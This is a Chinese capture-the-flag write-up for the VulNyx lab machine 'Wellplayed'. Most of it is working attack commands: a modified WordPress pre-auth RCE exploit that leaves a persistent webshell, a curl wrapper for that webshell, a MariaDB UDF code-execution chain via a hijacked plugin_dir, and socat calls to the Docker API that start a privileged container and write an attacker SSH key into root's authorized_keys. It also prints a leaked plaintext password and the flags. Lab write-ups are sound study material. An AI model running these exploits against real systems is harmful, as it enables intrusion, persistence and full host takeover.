跳到主要内容

VulNyx Wellplayed 通关记录|WordPress 预认证 RCE、Docker Socket 逃逸

靶机链接:Wellplayed


0x01 基本信息

名称IP说明
Kali Linux192.168.1.109攻击机
Wellplayed192.168.1.104wellplayed

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、443/tcp WordPress、3306/tcp filtered确定 WordPress 为 Web 入口
预认证 RCEWordPress 6.9.4 命中核心链,wp2shell(CVE-2026-63030 + CVE-2026-60137)获得 www-data 命令执行
凭据泄露/opt/secure.txt.xz 明文存放 maciiii 密码SSH 初始访问,读取 User Flag
提权侦察MariaDB root@'%' 空密码、ALL + FILE 权限、secure_file_priv 为空满足 UDF RCE 前置条件
UDF RCE.my.cnfplugin_dir=/opt/pwned,重启容器后加载 sys_exec容器内以 mysql 身份执行命令
容器逃逸mysql 进程 gid=104 恰好是 docker socket 属组通过 Docker API 创建特权容器写 root 公钥
最终成果SSH 私钥登录 root获取 Root Flag

0x02 侦察与信息收集 (Reconnaissance)

1. TCP 端口扫描

先写入域名解析,再用 RustScan 做全端口发现、Nmap 做服务识别:

echo "192.168.1.104 wellplayed.nyx wellplayed.lan" >> /etc/hosts
rustscan -a 192.168.1.104 -- -sCV -oN initial_nmap.txt

扫描结果:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4
80/tcp open http nginx -> 重定向到 https://wellplayed.nyx/
443/tcp open ssl/http nginx
3306/tcp filtered mysql
8080/tcp open http Node.js Express framework (Content Review System)

443 端口为自签证书(CN=wellplayed.nyx),3306 被过滤但后续证明本机可达。


0x03 重大突破:WordPress 预认证 RCE(wp2shell)

443 上运行 WordPress 6.9.4,6.9.4 落在 CVE-2026-63030(Batch Route Confusion)+ CVE-2026-60137(SQLi)核心预认证 RCE 链的受影响区间 6.9.0–6.9.4 内(修复于 6.9.5),且目标为默认配置、无持久对象缓存,前置条件全部满足。

使用公开 PoC ikow/wp2shell

cd /tmp && git clone -q --depth 1 https://github.com/ikow/wp2shell
cd /tmp/wp2shell/wp2shell-exploit

# 漏洞检测
python3 exploit.py https://wellplayed.nyx # → [+] vulnerable

# RCE 确认
python3 exploit.py https://wellplayed.nyx -c "id; whoami; hostname"
# → uid=33(www-data) / www-data / wellplayed

配套脚本: wp2shell_exploit.py — 修改后的 wp2shell 预认证 RCE exploit(持久化 webshell + 打印 URL/marker)。

利用链为:REST batch desync → 盲 SQLi → oEmbed 缓存写入 → Customizer changeset 提权 → 创建管理员 → 插件 webshell。

原 PoC 的 webshell 带自删逻辑,修改 exploit.py 去掉 deactivate_plugins/unlink 后重新部署,得到持久 webshell,并封装便捷调用脚本:

cat > /tmp/wp2shell/wsh.sh <<'SH'
#!/bin/bash
URL="https://wellplayed.nyx/?rest_route=/wp2shell/v1/33fb4b87ddb9a0a30dbc1fd8"
b64=$(printf '%s' "$1" | base64 -w0)
curl -sk -X POST "$URL" -H 'Content-Type: application/json' -d "{\"c\": \"$b64\"}"
echo
SH
chmod +x /tmp/wp2shell/wsh.sh
# 用法: /tmp/wp2shell/wsh.sh "command"

0x04 初始访问与用户 Flag

通过 webshell 枚举文件系统,发现 /opt/secure.txt.xz 全局可读,直接泄露 maciiii 用户密码:

/tmp/wp2shell/wsh.sh "xz -dc /opt/secure.txt.xz"
# → "The password for user maciiii is compromised: MEf4MEf@c4j8UmUGAv*3sAhIkow!oKNOkuk4bulRa"
# → "Docker volume mount is mapped to pwned folder." ← 后半句是提权的关键提示

SSH 登录 maciiii(uid=1000)读取 User Flag:

sshpass -p 'MEf4MEf@c4j8UmUGAv*3sAhIkow!oKNOkuk4bulRa' \
ssh -o StrictHostKeyChecking=no maciiii@192.168.1.104 'cat user.txt'
# → 2000d74a14603db7f68e473c68ca2eaa

诱饵识别: 同目录 note.txt 的 BOF 提示是干扰项;SUID 二进制 /usr/local/bin/procmon 逆向后只是 setuid(0) + system("ps -e"),不接受任何输入,无溢出面。系统 SUID/SGID/capabilities 也全部标准。


0x05 提权侦察

maciiii 无 sudo 权限,常规提权面全部干净,转向服务与进程枚举,两个关键发现:

1. MariaDB root 空密码 + FILE 权限

3306 虽然从外部被过滤,但本机可连,且容器内 root@'%' 为空密码:

MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e "SHOW GRANTS;"
# → GRANT ALL PRIVILEGES ON *.* TO root@'%' WITH GRANT OPTION
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e "SHOW VARIABLES LIKE 'secure_file_priv';"
# → 空(FILE 无路径限制)

2. 容器挂载暴露逃逸面

MariaDB 跑在容器里(mariadb:13.0.1,唯一容器),从 /proc/<pid>/mountinfo 看到三个挂载:

  • /opt/pwned:宿主 world-writable 目录,双端共享(呼应 secure.txt.xz 里的提示);
  • /root/mariadb-13-rce-lab/setup.sql/docker-entrypoint-initdb.d/:目录名直接说明这是官方 UDF RCE 实验环境,内含 lib_mysqludf_sys.so / udf.so
  • /var/run/docker.sock → 容器内 /run/docker.sock.lol:改名隐藏的 Docker Socket,即逃逸通道。

0x06 权限提升 (Privilege Escalation):MariaDB UDF RCE + Docker Socket 逃逸

步骤 1:写 .my.cnf 劫持 plugin_dir

写入前检查转义与文件状态

MariaDB 13.0.1 的 INTO OUTFILE 默认 FIELDS ESCAPED BY '\\',会把数据中的换行转义成 \+换行,写出的配置带杂散 0x5C。必须显式 FIELDS ESCAPED BY '' 关闭转义;若文件已存在会报 1086,需先删旧文件。另外验证写入内容时别直接看 LOAD_FILE 的输出——mysql 批处理模式会把换行显示成字面 \n,看起来像写坏了;应改用 SELECT HEX(LOAD_FILE('/var/lib/mysql/.my.cnf')); 确认字节为 0A(真实换行)而非 5C 0A(转义污染)。

mysql 用户的 home 即 datadir,用 FILE 权限写入配置文件,把 plugin_dir 指向双端共享的 /opt/pwned

MYSQL_PWD="" mysql -h127.0.0.1 -uroot -N -e \
"SELECT CONCAT('[mariadbd]',CHAR(10),'plugin_dir=/opt/pwned',CHAR(10)) INTO OUTFILE '/var/lib/mysql/.my.cnf' FIELDS ESCAPED BY '';"

# HEX 核验写入内容
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -N -e "SELECT HEX(LOAD_FILE('/var/lib/mysql/.my.cnf'));"
# → 5B6D617269616462645D0A706C7567696E5F6469723D2F6F70742F70776E65640A0A
# 5B..5D="[mariadbd]" / 0A=换行 / "plugin_dir=/opt/pwned" / 0A0A 结尾,无杂散 5C

配套脚本: outtest.cnf — 劫持 plugin_dir.my.cnf 测试配置(写入 /var/lib/mysql/.my.cnf)。

步骤 2:编译 UDF 并放到共享卷

编译自包含的 lib_mysqludf_sys.c(实现 sys_exec,内部 system(args->args[0])),通过 webshell 用 base64 传到 /opt/pwned(www-data 可写):

gcc -shared -fPIC -o /tmp/lib_mysqludf_sys.so /tmp/lib_mysqludf_sys.c -lc
b64=$(base64 -w0 /tmp/lib_mysqludf_sys.so)
/tmp/wp2shell/wsh.sh "echo $b64 | base64 -d > /opt/pwned/lib_mysqludf_sys.so"

配套脚本: lib_mysqludf_sys.csys_exec UDF 源码(自包含,无需 mysql.h);编译产物 lib_mysqludf_sys.so 直接上传至 /opt/pwned 供容器加载。

步骤 3:重启容器使 plugin_dir 生效

mysqladmin shutdown 触发容器重启(restart 策略自动拉起):

MYSQL_PWD="" timeout 15 mysqladmin -h127.0.0.1 -uroot shutdown
sleep 15
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e "SHOW VARIABLES LIKE 'plugin_dir';"
# → plugin_dir = /opt/pwned/ ✅

步骤 4:加载 UDF 获得容器内 RCE

MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e \
"CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';"
MYSQL_PWD="" mysql -h127.0.0.1 -uroot -e \
"SELECT sys_exec('id > /opt/pwned/o1 2>&1; ls -la /run/docker.sock.lol >> /opt/pwned/o1 2>&1');"
# → uid=999(mysql) gid=104(104)
# → /run/docker.sock.lol 属组 104 = mysql 进程 gid → 可访问 docker socket!

mysql 进程的 gid 恰好等于 docker socket 的属组,UDF 执行的命令天然拥有 socket 访问权。

步骤 5:socat 调 Docker API 创建特权容器

容器内没有 docker CLI,用 socat 直接走 Docker API。先确认可用镜像:

{ printf 'GET /images/json HTTP/1.1\r\nHost: localhost\r\n\r\n'; sleep 2; } | \
socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol
# → 镜像: ubuntu:22.04, mariadb:13.0.1

配套脚本: docker_escape.sh — 容器内一键执行:查询镜像 → 创建特权容器(Binds /:/host)→ 写 root SSH 公钥。

在 Kali 端生成 SSH 密钥,然后创建挂载宿主根目录的特权容器,把公钥写入 /root/.ssh/authorized_keys

ssh-keygen -t ed25519 -f /tmp/esc_key -N "" -C "root@kali"

PUB=$(cat /tmp/esc_key.pub)
BODY='{"Image":"ubuntu:22.04","Cmd":["/bin/bash","-c","mkdir -p /host/root/.ssh; echo \"'$PUB'\" > /host/root/.ssh/authorized_keys; chmod 700 /host/root/.ssh; chmod 600 /host/root/.ssh/authorized_keys"],"HostConfig":{"Binds":["/:/host"],"Privileged":true,"PidMode":"host"},"Tty":true}'
LEN=${#BODY}
{ printf 'POST /containers/create?name=esc HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: %s\r\n\r\n%s' "$LEN" "$BODY"; sleep 2; } | \
socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol
{ printf 'POST /containers/esc/start HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n'; sleep 2; } | \
socat -t 2 - UNIX-CONNECT:/run/docker.sock.lol
# → HTTP/1.1 200 OK

步骤 6:SSH root 登录读取 Root Flag

ssh -i /tmp/esc_key -o StrictHostKeyChecking=no root@192.168.1.104 'cat /root/root.txt'
# → 931c86372857f04edb6eab58955b38a3

0x07 最终成果 (Final Flags)

User Flag

  • 路径/home/maciiii/user.txt
  • 内容2000d74a14603db7f68e473c68ca2eaa

Root Flag

  • 路径/root/root.txt
  • 内容931c86372857f04edb6eab58955b38a3

0x08 漏洞汇总

#漏洞严重程度位置利用方式
1WordPress 核心预认证 RCE 链CriticalWordPress 6.9.4CVE-2026-63030 Batch 路由混淆 + CVE-2026-60137 SQLi(wp2shell)
2敏感文件明文存密码High/opt/secure.txt.xz全局可读,泄露 maciiii 的 SSH 密码
3数据库 root 空密码CriticalMariaDB 容器root@'%' 空密码 + ALL PRIVILEGES + FILE,可写文件、可加载 UDF
4Docker Socket 挂载进容器Critical/run/docker.sock.lol容器内直接控制宿主 Docker daemon,特权容器逃逸

复盘总结

  1. 枚举受阻时回到版本号本身。 WordPress 无漏洞插件、口令不弱时,核心版本 6.9.4 命中预认证 RCE 链成为唯一突破口——核心组件的版本指纹永远值得精确确认。

  2. UDF RCE 的关键不在 UDF 本身,而在 plugin_dir。 secure_file_priv 为空 + FILE 权限只能写文件,/opt/pwned 共享卷 + .my.cnf 劫持 plugin_dir 才把"能写文件"变成"能加载代码"。注意 MariaDB 13 的 INTO OUTFILE 默认转义会污染写入内容,需显式 FIELDS ESCAPED BY ''

  3. 容器逃逸面要查 mountinfo 和进程 gid。 docker.sock 改名成 .lol 只是障眼法,/proc/<pid>/mountinfo 一览无余;mysql 进程 gid=104 恰好是 socket 属组,使 UDF RCE 到容器逃逸无缝衔接。挂载 docker.sock 进容器等同于把宿主 root 交给容器。


附件下载

文件说明下载
wp2shell_exploit.py修改后的 wp2shell 预认证 RCE exploit(持久化 webshell)下载
lib_mysqludf_sys.csys_exec UDF 源码(自包含,无需 mysql.h下载
lib_mysqludf_sys.soUDF 编译产物,上传至 /opt/pwned 供容器加载下载
docker_escape.shDocker Socket 容器逃逸脚本(容器内一键执行)下载
outtest.cnf劫持 plugin_dir.my.cnf 测试配置下载